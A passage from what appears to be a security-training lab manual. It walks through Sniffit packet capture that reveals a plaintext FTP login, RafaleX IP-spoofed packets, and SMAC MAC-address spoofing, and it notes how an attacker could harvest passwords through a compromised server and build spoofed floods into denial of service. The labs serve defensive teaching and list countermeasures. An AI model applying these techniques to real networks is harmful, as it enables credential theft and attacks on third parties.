*Note: I have personally used this application in conjunction with the "see all" port on a switch to help track down a hacker coming out of New York City via a compromised server of a travel agency out of Washington state. This is an effective tool.

As for an attacker's advantage, a prime example would be to have a compromised Terminal Service account, term serve into the server, and execute the ZxSniffer application. Then at the attacker's convenience log back in and check the passwords captured, packets captured, and so forth.

Lab 47: Exploit Data from Target Computer — Sniffit

Prerequisites: None

- **Countermeasures:** Secure access control lists (ACLs), Bastion servers/ workstations, host-based firewalls
- **Description:** The Sniffit application captures Transfer Control Protocol (TCP), UDP, and ICMP packets, which provide detailed information in hex or plain text. Sniffit can detect Ethernet and PPP and other devices, can filter the results for desired effects, and can save the output to a log file for further analysis. Remember that all commands in Linux are *case sensitive*.
- **Procedure:** Configure and create the Sniffit application and execute with the following syntax:

sniffit <options>

From the directory containing the compressed files type **tar** –**zxvf snif**-**fit.0.3.7.beta.tar.gz**.

The files will uncompress into a new directory named **sniffit.0.3.7.beta**.

Change to the new directory by typing **cd sniffit.0.3.7.beta** and pressing **Enter**.

The Sniffit application needs to be compiled to the specific machine it is on by typing **./configure**.



The Sniffit application will configure for the specific machine.



The last step is to create the executable by typing make and pressing Enter.



The Sniffit application will now be created.



To start the Sniffit application, type:

./sniffit -s 172.16.1.45 -x -a -F eth0

- The -s 172.16.1.45 instructs Sniffit to use this IP address as the source.
- The –x option instructs Sniffit to display extended packet information.
- The –a option is not very well documented in the Sniffit.8 file.
- The -F eth0 instructs Sniffit to use the Ethernet device 0.



The Sniffit application will start.



For a "proof of concept," in this example, a terminal session was started to initiate an FTP session.



Notice that as soon as the attempt is made to the FTP server, the traffic is scrolling on the Sniffit screen.

👰 Red Hat Linux - YMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🚡 Home 📓 Windows 2000 Professional 📑 Red Hat Linux 👔 Red Hat Linux 8 Server 📳 Windows 2000 Server 📓 Windows	4 > x
V roote/localnost:~/roots/shimt/shimt.0.3.7.beta	
<u>File Edit View Terminal Go Help</u>	
<pre>TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21 SEQ (hex): 2DC67E55 FLAGS:S- Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21 E < g (@ . @ . y (. > ~ U) .</pre>	
	Nov 14 06 AM
26	

The username is entered to log in.



The password is entered.



At this point, the user is logged into the FTP server.



The command is to type **quit** to exit the FTP connection.



The Sniffit output is displayed on the screen. Notice the clear text FTP command of **QUIT** is displayed on the screen. If you scroll up on the output, you will also see the clear-text username and password as well.

To stop the Sniffit application, hold down the **Ctrl** key and press the **C** key.



Sniffit also allows for the redirection of the output to a log file instead of displaying the output on the screen. This is done with the syntax of:

./sniffit -s 172.16.1.45 -x -a -F eth0 > sniffit.log

This will save all output into a log file named **sniffit.log**.

*Note: Notice when you hit the Enter key the cursor will not drop to a new line until you stop the application.



The identical FTP connection is made as above.



To stop the Sniffit application hold down the **Ctrl** key and press the **C** key.



To read the **sniffit.log** file, type:

cat sniffit.log |more



The contents of the file will be displayed one page at a time. By pressing the spacebar you can scroll through the file page by page.

👩 Red Hat Linux - VMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
n Home 🛐 Windows 2000 Professional 🔐 Red Hat Linux 🕼 Red Hat Linux 8 Server 🗗 Windows 2000 Server 🚓 Windows	4 > x
File Edit View Terminal Go Help	
[root@localhost sniffit.0.3.7.beta]# cat sniffit.log more	
Forcing device to ethO (user requested)	
Make sure you have read the docs carefully.	
Sniffit.0.3.7 Beta is up and running (172.16.1.45)	
TCP Packet ID (from IP.port-to IP.port): 172.16.1.45.37742-172.16.1.40.21	
SEQ (hex): 3B5F3D3F FLAGS:S-	
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21	
L <inu.u< td=""><td></td></inu.u<>	
1	
TCP Packet ID (from IP port-to IP port): 172 16 1 45 37742-172 16 1 40 21	
SEQ (hex): 3B5F3D40 ACK (hex): 33073075	
FLAGS: -A Window: 16D0	
Packet ID (from_IP.port-to_IP.port): $1/2.16.1.45.37/42-1/2.16.1.40.21$	
+tq	
TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21	
More	
	Nov 14 11 AM
20	

By scrolling through the file, the plain-text username of **hacker** is shown.

🔊 Red Hat Linux - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
A Home 🍙 Windows 2000 Professional 🕋 Red Hat Linux 👔 Red Hat Linux 8 Server 📳 Windows 2000 Server	🚮 Windows 🛛 🕨 🗙
▼ root@localhost:~/tools/sniffit/sniffit.0.3.7.beta	×
File Edit View Terminal Go Help	
TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21	•
SEQ (hex): 3B5F3D40 ACK (hex): 330730AA	
FLAGS: -A Window: 16D0	
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21	
E4 I P @. @	
+	
TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21	
SEQ (hex): 3B5F3D40 ACK (hex): 330730AA	
FLAGS: -AP Window: 16D0	
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21	
EAIQ@.@	
+u!H.USER nacker	
I I	
TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21	
SEQ (hex): 3B5F3D4D ACK (hex): 330730CD	
FLAGS: -A Window: 16D0	
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21	
E4 I R @. @	
+u"H.	
More	1
More Carlos Carl	
	Mar New M
	12:11 AM

By continuing to scroll through the file, the plain-text password of **zerocool** is displayed.



*Note: Keep in mind that the traffic you see is completely dependent upon the environment the computer "sniffing" resides in. For example, if the network link you are using is connected to a network hub, you will be able to see all traffic going through that hub to all other computers on that hub. If, however, the network link you are using is connected to a switch, you will only be able to see traffic specifically destined to your connection. There is a way to "sniff" traffic on a switch to show all traffic to a specific or every computer on a switch, which will be covered in Chapter 9.

Chapter 6 Spoofing

Lab 48: Spoofing IP Addresses

Send Packets via False IP Address: RafaleX

Prerequisites: None

Countermeasures: Firewall filters, vendor patches where applicableDescription: The RafaleX application allows for the creation of custom IP packets. The packet is very customizable and allows for the spoofing of the IP, setting the flags, number of packets, and so forth.Procedure: Start the application, set the parameters, and execute.

Double-click the **RafaleX** icon to start the application.

*Note: RafaleX is becoming hard to locate on the Internet as it appears it is now called Engage Packet Builder. I found that Engage has difficulties with the wireless card in my virtual computer so this lab was run with the RafaleX application. The Ethereal sniffer (Lab 41) was used to validate the results of this lab.



From the RafaleX screen set the *Network interface* to the desired Network Interface Card (NIC).

👰 Window	ws 2000 Professional - ¥Mware Workstation				_ 🗆 🗙
File Edit	t View VM Team Windows Help				
A Home	🚯 Windows 2000 Professional 🛛 🔐 Red Hat Linux	Red Hat Linux 8 Server	Windows 2000 Server	📲 Windows	4 > x
My Docume	ints Remote Destan				
	^e Rafale X			_ 🗆 🗵	1
	File Tools Modules Managers Options Language H	elp			
My Comp	38672629?				
67.0	Network interface : 2: 172.16.1.43	TCP	UDP CMP	1	
	Set as source IP Set as destination IP	Sequence : 0	Acknowledge	e: 0	
My Netu Place	Source IP : Port : 1	Speci	fy data offset 🔲 🚺 (bytes)		
450	Destination IP : Port : 1	[Flags] [URG] [ACK]	PSH RST SYN	I FIN	
Recycle	Specify header size 🔲 🛛 (bytes)	Window :	0 Urgent : 0		
6	Type of service : Routine		Specify TCP checksum		
E	Specify identification 🔲 🛛	Data :		- 22	
Explor	Fragmentation : DF : 0 : May Fragment				
a	MF : 0 : Last Fragment	[Commands]			
8-	Offset: 0 TTL: 128	Nb of packets : 1	Packet type : TCP	J SEND	
winz	Protocol: 6: TCP	[Script]			
	Specify checksum 🔲 🕕			RUN SCRIPT	
LanSt K	Status - Deads				-
	status - Incouy.	_		_	
Start	🚺 🙆 😂 📋 🔄 C:\Downloads\rafale x v1.1	tafale X		(iD _)) 3:	:03 PM

In this example, the *Source IP* of the packets to be sent is set to 10.10.10.10 with the source address of port 123. According to Internet etiquette, this should never be able to route on the Internet as the 10.x.x.x range is reserved for private addressing.

Mindows 2000 Professional and Red Ha	LENUX: 🍙 Red Het Linux & Server 👔 Windows 2000 Server 👔 Windows
File Tools Modules Managers Options Langu	nge Help
Network interface: 2: 172:16:143 ■ Set as source IP Set as detination [IP:] Set as operating in the set of	TCP UDP ICMP NP Sequence: Acknowledge: 0 23 Specily data offset [] [] [] Fage [] [] [] [] Fig [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] []
Type of service : Fourine Specily identification Fragmentation : DF : 0: May Fragment MF : 0: Last Fragment	Commands)
Offeet 0 TTL : 128 -	I Solet 1
Matus : Ready.	

Set the destination IP to the target address. In this example it is 172.16.1.40. Set the **Destination** port to port 21.

- UR	A Windows 2000 Professional Francisco	Zh. Red Hit Linux 8 Server	Zi: Windows 2000 Server	The Versions	10.1
-		11 Photos de la colocida de la colocidade e la colocidade de la colocidade		Transfer Street Street	
Docume	nts Remote Deviation				
	* Rafale X				×
E.	He Tools Modules Managers Options Language He ⇒ ITh 195 755 €	lp			
Contro -		TOP 1			
6	Set as source IP Set as destination IP				1
y Net		Sequence : [0	Acknowledge	1: 0	
Place	Source IP : 10.10.10 Port : 123	Specify	data offset 🔲 🖗 (bytes)		
and a	Destination IP: 172.16.1.40 Port: 21	URG ACK	PSH RST SYN	FIN	
ACYCE	Specily header size 🔲 🔯 (bytes)	Wester	throws 0	_	
	Type of service : Routine		Charile TCD charksom		
0	Specily identification	Dete .	specily for checklan		
Interr	Fragmentation : DF : 0 : May Fragment	cons. 1			
-	MF: 0. Last Fragment	[Commands]			
2	Offset: 0 TTL: 128-	Nb of packets : 1 📫	Packet type : TCP *	SEND	
WinZ	Protocol: 6:TCP +	I Script 1			ê.
	Specify checksum			RUN SCRIPT	
0-		12.0		n: 1.0).	
Lartin	Ratus : Ready.				

The SYN and ACK flags were set for each packet.

*Note: The Ethernet communications process requires a three-way handshake:

- SYN: Synchronize
- SYN-ACK: Synchronize-Acknowledge
- ACK: Acknowledge

When a computer receives an uninitiated SYN-ACK packet its response is to send a RST (Reset) packet.

😹 Windows 2000 Professional - VMware Workstation	the second s	_0×
File Edit View VM Team Windows Help		
in stone 🔂 Windows 2000 Professional 👘 Red Hit Linux	n Red Hat Linux 8 Server 👔 Winkows 2000 Server 👘 W	× 4 ▷ xwohn
My Documents Remote		
Desitor		
File Tools Modules Managers Options Language He	dp	
Hy Con		
Network interface: 2: 172 161.43 Set as course IP Set as destination IP View IP Source IP: [0.10.10.10 Point Point: Destination IP: [172.161.40 Participation Point: Special tensor Pount: Special tensor Pount: Present Special tensor Present tensor Pount: Present tensor Pount: Present tensor [0.10.10.10 Present tensor [0.10.10.10.10 Present tensor [0.10.10.10.10 Present tensor [0.10.10.10.10 Present tensor [0.10.10.10.10.10 Present tensor [0.10.10.10.10.10 Present tensor [0.10.10.10.10.10.10 Present tensor [0.10.10.10.10.10.10.10 Present tensor [0.10.10.10.10.10.10.10.10.10 Present tensor [0.10.10.10.10.10.10.10.10.10.10.10.10.10	TCP UDP ICMP Sequence: 0 Acknowledge: 0 Specily data officet 0 [byten] [Rogs] URG ACK PSH RST SYN F Window: 0 Usgent: 0 0 Specily TCP checksum Data : (Command:) Nb of packets: 1 Packet type: TCP V S	
Protocol: (6:TCP	I Script I	CRIPT
Lotin Status : Ready.		
Start 3 2 C1Downloadsignatale x v1.1	afale X	987 3:05 PM
		Pom to A

The number of packets was set to 100.

File Ext. Verw VM Team Windows Heb III III III IIII IIIIIIIIIIIIIIIIIIII	🕼 Windows 2000 Professional - VMware Workstation	
Windows 2000 Professional Red Het Linux Steres Windows 2000 Servet Windows 2000	File Edit View VM Team Windows Help	
Norm Numbers 2000 Professional Norm		
Process Process <th>👝 Hone 🔂 Windows 2000 Professional 🖓 Red Hit Linux</th> <th>ned Hit Linux 8 Server 👔 Windows 2000 Server 👔 Windows 4 🕨 🗙</th>	👝 Hone 🔂 Windows 2000 Professional 🖓 Red Hit Linux	ned Hit Linux 8 Server 👔 Windows 2000 Server 👔 Windows 4 🕨 🗙
We consistent and the second of the secon	🔶 🛄	
Pictor Image: Control Language Help Pictor Pictor Pictor Pictor </td <td>My Documents Remote</td> <td></td>	My Documents Remote	
Re Tools Machaeles Carlos	Peatoo	
Image: Start (Start)	File Tools Modules Managers Options Language He	tep
Network interface: 2: 172.16.1.4 • Set at locate IP © Set at detination IP Set at locate IP © Set at detination IP Set at locate IP © 1010.10.10 Destination IP: [72.16.1.40 Specify leaded usine © Befeni Type of memore: Former Specify leaded usine © Befeni Type of memore: Former Specify leaded usine © Befeni Type of memore: Former Specify leaded usine © Befeni Type of memore: Former Mit IP: O'L Leaf Fragment Mit IP: TTL: Differi TTL: Specify checknom © Differi TTL: Specify checknom © Specify checknom © <td>M CON 26 10 10 10 10 10 10 10 10 10 10 10 10 10</td> <td></td>	M CON 26 10 10 10 10 10 10 10 10 10 10 10 10 10	
Set as source IP Set as destination IP IP Source IP 10101010 Performed IP 10101010 Perf: 123 Destination IP 172161140 Perf: 123 Destination IP: 172161140 Perf: 123 Specity benefits and n IP Protocol: IP Specity checkson IP Date IP Specity checkson IP <td< td=""><td>Network interface : 2: 17216.1.43 • 0</td><td>TCP UDP LIDMP L</td></td<>	Network interface : 2: 17216.1.43 • 0	TCP UDP LIDMP L
I P Society P [10101010] Peri: [23] Society P [10101010] Peri: [23] [24] [26] Specity Interview [26] Specity Interview [26]	Set as source IP Set as destination IP	Senerce 0 Arimulate 0
Source III: 101000010 Point: 122 Destination IP: 1722 16140 Point: 112 Specify made usine Destination IP: 1722 16140 Specify made usine Destination IP: 1722 16140 Specify made usine Destination IP: Destination IP: Specify made usine Destination IP: Destination IP: Specify stands usine Destination IP: Destination IP: Specify stands usine Destination IP: Destination IP: Specify stands usine Destination IP: Destination IP: Notice III: Destination IP: Destination IP: Notice III: Destination IP: Destination IP: Notice III: Destination IP: Specify checknown Destination IP: Specify checknown IScept IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII		Snardu data officat D [_ thetas]
Destruction IP: [12] [12] [13] Specily leaded rates: [10] [10] [10] Fragmentation: [10] [10] [10] MFI: [11] [23] Diset: [11] [23] Packet: [10] [10] [10] Specily checknam: [15] [10] [10] Packet: [10] [10] [10] Specily checknam: [15] [10] [10] [10] Packet: [10] [10] [10] [10] Specily checknam: [15] [10] [10] [10] [10] Specily checknam: [15] [10] [10] [10] [10] [10] [10] [10] [10	Source IP : 10.10.10 Port : 123	- [Flags]
Specify header size Specify header size Type of service: Focusine Specify definition: Different I Fragmentation: Different I Officet TTL: Different I TTL: Producet: Specify checksom Different I TTL: Specify checksom Image:	Destination IP: [1/2:16.1.40 Port: [2]	URG ACK PSH RST SYN FIN
Type of service: Produce Secoldy destination Image: Specify IDP checksum Data: Image:	Recycle Specity header size 🔲 🔃 (bytes)	Window: 0 Urgent: 0
Specify identification Fragmentation: DF: Fragmentation: DF: Fragmentatio:	Type of service : Routine	Specily TCP checksum
Figurentation: DF: 0: May Fragment * MF: 0: Last Fragment * MF: 0: Last Fragment * DBiset: 0: Last Fragment * DBiset: 0: TTL: 728 + Potocol: 0: TCP * Specify checksum 0: Status: 1 Ratus: * Status: * * * <	Specily identification 🔲 🔽	Data
MF: 0 Leaf Fragment V Officet 0 TTL 128 Potocol: (6:TCP SEND Specify checkson 0 0 Leaf Rates 1 Specify checkson 0 0 Ruin SCRIPT Sector 2 Copromised Systems x 1.1 Reference X Reference X (0) Sector 2 Copromised Systems x 1.1 Reference X Reference X (0) Sector 2 Copromised Systems x 1.1 Reference X Reference X (0) Sector 2 Copromised Systems x 1.1 Reference X Reference X (0) Sector 2 Copromised Systems x 1.1 Reference X Reference X (0) Sector 2 Copromised Systems x 1.1 Reference X Reference X (0) Sector 2 Copromised Systems x 1.1 Reference X Reference X (0) Sector 2 Copromised Systems X (0) Sector 2	Fragmentation : DF : 0 : May Fragment	
Officet 0 TTL: [128] Produced: [6:TCP] Speedy checknom 0 Speedy checknom 0 Status r Ruin SCRIPT	MF: 0. Last Fragment	[Commands]
Protocol: (6:1CP Specify checkson: 0 Local Antice of the second secon	2 Offset: 0 TTL: 128 -	Nb of packets: 100 A Packet type: TCP SEND
Specify checknum Specify chec	Protocol: 6: TCP	[Script]
Letti Ratus : Resurt 2 & C1 C1Downloadsiya'de x v1.1 PRofebe X	Specity checksum 🔲 🚺	RUN SCRIPT
Refere : Sector :	à -	
通Start (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)	Cutting Status :	
満Start () () () () () () () () () () () () ()		
遺Start (1) (2) (2) (2) (2) (2) (2) (2) (2) (2) (2		
	Bstart	Rafale X 및 관계 기 16 PM

Click the **Send** button to send the packets to the target. The **Status** area at the bottom left of the application will tell you that the packets were sent.

🛃 Windows 2000 Professional - ¥Mware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🏠 Hone 🔀 Windows 2000 Professional 🔐 Red Hat Linux 👔 Red Hat Linux 8 Server 📳 Windows 2000 Server 👔 Windows	s 4 > X
My Documents Remote Desktoo	
🖉 Rafale X	IX
File Tools Modules Managers Options Language Help	
My Com	_
Network interface : 2: 172.16.1.43 V TCP UDP ICMP	
Set as source IP Set as destination IP Sequence : 0 Acknowledge : 0	
Ny Neto [IP] Flace Source IP: 10.10.10.10 Port: 123 Specify data offset 0 (bytes)	
Destination IP: 17216.1.40 Port: 21	
Recycle Specify header size 20 (bytes) Window 0 Unrent: 0	
Type of service : Routine	
Specify identification	
Intern Fragmentation : DF : 0 : May Fragment	
MF : 0 : Last Fragment 💌 🛛 [Commands]	
Diffset: 0 TTL: 128 🚔 Nb of packets: 100 🚔 Packet type: TCP 💌 SEND	J
Win2 Protocol: 6: TCP 🚊 [Script]	
Specify checksum	J
LEDRI Statur - Toh dona - 100 narkete cant	_
Total Total De ano Toppanes seix	
遺Start) 2 @ 印] C:\Downloads\rafale x v1.1 謝Rafale X 《 即動習	3:16 PM

From the target, the Ethereal sniffer was running while the "spoofed" RafaleX packets were sent to it. As expected the server received each packet and identified that:

- The source of the packet is coming from 10.10.10.10 on port 123.
- The source packet has both the SYN and ACK flags set.

jo∏ Wi	ndows 2000	Server -	VMware V	₩orkstati	ion										_1	
File	Edit View	VM T	eam Win	dows He	elp											
	00 🕞 🦉	9 0	Gi IC													
□ H	ome 5 V	Montowie 2	000 Drotes	eiopal	Re Red F	let Linux	Jan Ro	N Hat Lin	iv 8 Sarvar	La wi	vlowe	2000 50	rver	5- Mindo	we d 1	• ×
(U	ntitled) - Et	hereal				AR LINUA				цр.	aons	2000 30		11	_ 6	I X
Ele	Edit <u>V</u> iew	<u>G</u> o <u>C</u> a	pture <u>A</u> n	alyze <u>S</u> ti	atistics	<u>H</u> elp										
	.) C	> 🔒	×	ð 🗄		4	© ∲	T	₽ (\$	€, 6) 🖽	
Eilter	:							•	Expression.	⊆lear	Apply					
No.	Time		Source *			Destinati	on		Protocol	Info						
	19 8.71	6087	10.10.	10.10		172.10	5.1.40	<u>;</u>	FTP	ÎŤCÉ	Zero	Windo	W Re	auest:	<u>~~~~</u>	
	20 8.710	6149	172.10	5.1.40		10.10.	.10.10)	TCP	21 >	123	[RST]	Seq-	1 Ack=	0 Win=0	
——	21 8.71	7632	10.10	10.10		172.10	$\frac{5.1.40}{10.10}$)	FTP	[TCF	Zero	Winde	w] Re	iquest:	\000	
	22 6.71	7004	10 10	10.10		172 16	$\frac{10.10}{5.1.40}$,	FTP		- 123 - Zerr	UKSI J Windo	wl Re	I ACK=	0 win=0	
	24 8.718	8750	172.10	5.1.40		10.10.	.10.10)	TCP	21 >	123	[RST]	Seq-	1 Ack=	0 Win=0	
	25 8 71	9796	10.10	10.10		172 16	5 1 40	1	FTP	TCE	7err	windo	w Re	muest.	\ 000	_
																<u>۱</u>
	Flags: 0 0 0 1 . 0	= = =	(SYN, A Congest ECN-Ech Urgent: Acknowl Push: N	NCK) ion wi Not s edgmen lot set	ndow F set et t: Set	educed	(CWR)	: Not	set							-
		.1. =	syn: se	rt se	•											
		0 =	Fin: No	it set												
	window s	size: 0	C	. 7												
	Checksun	1: Uxed	TS LCOR	rectj												
	LSEQ/ACK	Canaly	515]	/>												-
•																<u>ا</u>
0000) 00 0c) 00 29	29 a3 10 3e	e4 40 0 00 00 8	0 0c :	29 b6 69 45	40 95 C Oa Oa C)8 00)a 0a	45 00 ac 10)	0). ie	QE					
0020	01 28	00 7b	00 15 0	0 00	00 00	00 00 0	00 00	50 12	. (. {.		F	۰.				
0030	00 00	ea to	00 00 0	0 00	UU 00	00 00				• • • • • •	•••					
Files	CADOCI NºS	1) ADMINI	NIOCHIC		therewas	-006997 14	1 0.00	1 Di 201	Mi 0 Deor	0		_	_			_
inte:	Enter 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	ADMINIA AS IN B	TRUCALS	·····	turera.00		- 1P: 22	.1 0: 221	m. o props: I					കൈപിൾ		
- B Q 5		ه لايب محج	- ,2 C		ondice	i) - cinere	a					_	_		C 3:16 P	191
														Q		1) //

By scrolling to the next packet in the series:

- The target is responding to the IP address of 10.10.10.10.
- The target is setting the RST flag on each packet.

🗐 Windows 2000	Server - VMware Workstation
File Edit View	VM Team Windows Help
A Home I To V	Vindows 2000 Professional 🚓 Red Hat Linux 🚓 Red Hat Linux & Server 🖓 Windows 2000 Server 👼 Windows 4 🕨 🗙
(Untitled) - Et	hereal
Eile Edit View	Go Capture Analyze Statistics Help
	·····································
Eilter:	Expression Clear Apply
No. Time	Source * Destination Protocol Info
19 8.716	0087 10.10.10.10 172.16.1.40 FTP TCP zerowindowi Request: \000
20 8.710	5149 172.16.1.40 10.10.10.10 TCP 21 > 123 [RST] Seq=1 Ack=0 win=0
21 8.717	7632 10.10.10.10 172.16.1.40 FTP [TCP ZeroWindow] Request: \000
22 8.717	7004 172.10.1.40 10.10.10.10.10 TCP 21 > 125 [RS1] Segen Ackee Wine 20 21 > 125 [RS1] Segen Ackee Wine 20 21 > 10.10 10.10 172 16.1 40 ETP [TCP Zerowindow] Bequest > 10.00
24 8.718	3750 172.16.1.40 10.10.10.10 TCP 21 > 123 [RST] Seg=1 Ack=0 win=0
25 8 710	9796 10 10 10 10 172 16 1 40 ETP [TCP Zerowindow] Request: \000
1	• • • • • • • • • • • • • • • • • • •
Header 1	ength: 20 bytes
0	Condestion Window Reduced (CWR): Not set
	= ECN-Echo: Not set
	= Urgent: Not set
0 .	= Acknowledgment: Not set
0	= Push: Not set
	1. = Reset: Set
	0 = Syn: Not set
window s	ize: 0
Checksum	: 0xee04 [correct]
•	
0000 00 Of	b5 1f 5c ca 00 0c 29 a3 e4 40 08 00 45 00
0010 00 28	0e 51 00 00 80 06 6b 33 ac 10 01 28 0a 0a . (.q k3(.
0030 00 00	
10000 AG AG	
File: "C:\DOCUME~	1\ADMINI~1\LOCALS~1\Temp\etherXXXXa00688" 16 P: 221 D: 221 M: 0 Drops: 0
∰Start 🛛 🚮 (🚳 🛱 🖾 🗁 🖉 (Untitled) - Ethereal

*Note: The RafaleX application is an excellent way to "spoof" custom packets. Attackers can place a valid IP address as the source of the packet and the target will have to attempt to respond to the spoofed address. By sending hundreds of thousands of packets in this manner, an attacker can create a Denial of Service attack against a target (refer to Chapter 11).

Lab 49: Spoofing MAC Addresses

Send Packets via False MAC Address: SMAC

Prerequisites: None

Countermeasures: Firewall filters, vendor patches where applicable **Description:** Spoofed Media Access Control (SMAC) allows you to "spoof" the Media Access Control (MAC) address of the computer it is installed on. This change is not performed at the hardware layer but at the software layer and even sustains reboots. This lab uses version 1.1. Version 1.2 and up require purchase.

Procedure: Install, set the parameters, and reboot.

Double-click the SMAC installation icon.



The SMAC self-installation will start. Accept the default directory for the extraction of the files or choose another by clicking Browse. Click **Unzip**.



The files will uncompress and a dialog box will appear. Click OK.

🗐 Windows 2000 Professional - YMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🛆 Home 🔐 Windows 2000 Professional 💼 Red Hat Linux 👔 Red Hat Linux 8 Server 📳 Windows 2000 Server 👔 Windows	4 > x
My Documents Remote	
Desktop	
My Computer Engage Packet builder	
<u>M</u> , 5	
Ny Network ZySniffer	
Places WinZip Self-Extractor - SMAE v1.1.exe	
To unzip all files in SMAC v1.1.exe to the specified Unzip folder press the Unzip button.	
Recycle Bin Libnet/VT.dl Unzip to folder: WinZip Self-Extractor X Run WinZip	
c: \temp 3 file(s) unzipped successfully	
C Dverwrite file: About	
Internet Explorer Help	
*	
LanSpy	
第Start 図 @ い ついDownloads(SMAC WinZip Self-Extractor - 5	5:04 PM

Change to the directory the files were uncompressed to. Double-click on the **Setup** file to start the installation.

🗐 Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🏠 Home 🔠 Windows 2000 Professional 🔐 Red Hat Linux 📓 Red Hat Linux 8 Server 🗿 Windows 2000 Ser	rver 📑 Windows 4 🕨 🗙
🕿 C:\temp	_ b ×
File Edit View Favorites Tools Help	10
↓ Back + → - 🔄 @ Search B Folders @ History R 😰 🗙 🕫 📰 +	
Address C:\temp	• @@
temp	
Select an item to view its description. See also: Mr. Dog method	
My Network Places My Computer	
3 object(s) 1.96 MB	My Computer
Start 🕜 🖉 🗊 🔤 C:\temp	🕀 🗊 🕮 5:04 PM

Install the SMAC application with the default options. SMAC will install and a dialog box will appear. Click **OK**.



The SMAC application will begin. In the lower-left corner of the application the current MAC address of the computer is displayed.



To verify the MAC address, bring up an MS-DOS prompt and **ping** a target. In this example:

ping -t 172.16.1.40

The -t option instructs the ping utility to ping continuously until stopped.



From the target machine bring up Ethereal (Lab 41) and start a sniffing session. Catch a few packets and stop the sniffer. From the results, click to highlight one of the captured, Internet Control Messenger Protocol (ICMP) packets and observe the center area of Ethereal. From this, the source has a MAC address of 00:0c:29:b6:40:95, which is identical to what the computer with SMAC has identified.

Wind	lows 2000 Se	erver - VMware	Workstation				_101×
File I	dit. View '	VM Team Wir	dows Help				
	0 0 0	O In P					
n 194	e 5, wh	dows 2000 Profes	zional 🚛 Red Hat	Linux 🔐 Red Hit Linu	(8 Server 🔐 Wind	lows 2000 Server	Andows 4 + X
2) (Uni	itled) - Ether	real				and the second sec	X
Ele I	Edit Yew S	Go Capture Ar	alyze Ratistics He	lo -			
			5 🗔 × 🏟		中的学生	L 🔲 🖬 🔍	Q, Q,
Elter:				•	Expression Gear	Apply	
No.	Time	Source	MARKA INC.	Destination	Protocol - Info		-
	2 0.0367	78 172.1	0.1.43	172.16.1.40	TOMP ECHO	(ping) request	
	3 0.0368	70 172.1	6.1.40	172.16.1.43	ICMP Echo	(ping) reply (ping) request	
	6 0.9051	92 172.1	6.1.40	172.16.1.43	ICMP Echo	(ping) reply	
	7 1.9166	31 172.1	6.1.43	172.16.1.40	ICMP Echo	(ping) request	
	8 1.9167	99 172.1	6.1.43	172.16.1.43	ICMP Echo	(ping) reply	
	1 2.9183	71 172.1	6.1.40	172.16.1.43	ICMP Echo	(ping) reply	
	13 3.9225	42 172.1	6.1.43	172.16.1.40	ICMP Echo	(ping) request	-
(•
0000 0000 0010 0020	00 0c 29 00 3c 00 01 28 08	9 a3 e4 40 0 3 3 00 20 5 5 0	re_b0;40:95 (0 : 172;16:1.43 ge Protocol 00 0: 29 b6 4: 00 0: e0 10 a: 20 00 00 6:) 95 08 00 45 00 1 20 28 00 45 00 1 00 28 00 45 00 2 00 12 ba c 10 2 63 64 65 66)	E.	
1030	67 68 69 77 61 62	a 6a 6b 6c 6 2 63 64 65 6	d 6e 6f 70 7 6 67 68 69	1. 72 73 74 75 76	gh1jklmn opq wabcdefg h1	rstuv	
#Sta	at 1 ca at	1 13 20 CT (2) (10 (totited)	Ethereal Comm	and Promot	(73)	all in and
~		1 L 1 1 1	(ondded)			180%	D - maket
							The local Party in the local Par

Return to the SMAC computer and type a new "spoofed" address in the **Spoofed MAC Address** block.

*Note: In order for SMAC to work correctly, you must enter a valid MAC address. It does not have to be from the same manufacturer as the real NIC but must be a valid NIC address.



Click on the **Update MAC** address and the new spoofed MAC address will appear in the lower-left corner of the application. Click the **Exit** button. **Restart** the computer.

I Windows 2000 Professional - VMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🛆 Home 🛛 🚯 Windows 2000 Professional 🖓 Red Hat Linux 📲 Red Hat Linux 8 Server 🚯 Windows 2000 Server	🚮 Windows 🛛 🕨 🗙
My Documents Remote Desktop	
My Computer Engage Pa SMAC 1.1 [WBEM On]	×
File About	
Image: Note of the second se	1
Places	
Recycle Bin LibnetNT.	
Show Only Active Network Adapters	
Internet 00 - 0C - 29 - 86 - 40 - 10 × Remove MAC Exit	
Explorer Spooled MAC Address	
KLC CONSULTING, INC	
Win2p 00-0C-29-B6-40-95	
Disclaimer: Use this program at your own risk. We are not responsible for any damage that might occur to your system. This program is not to be used for any illegal or unethical purpose. Do not use this program if you do not agree with this disclaimer.	
LanSpy	
∰Start] [] @ 🛱	🤹 🗊 🕮 6:36 PM

Once the computer has rebooted, open the SMAC address. Notice the "spoofed" address is now the active MAC address for the computer.

🗐 Windows 2000 Prof	essional - VMware Workstation	_ 🗆 ×
File Edit View VM	Team Windows Help	
Home Window	vs 2009 Professional 🤹 Red Hit Linux 👘 Red Hit Linux & Server 🤹 👘 Windows 2000 Server 👘 Windows	₹ ↓ ⊁
My Computer Engage Pa builde	fe About	
My Network Zx5niff Places	ID Active Spooled Network Adapter IP Address Active MAC 0000 Yes Yes VM/ware Accelerated AMD P 172.15.1.49 00:00:29:65:40:10	
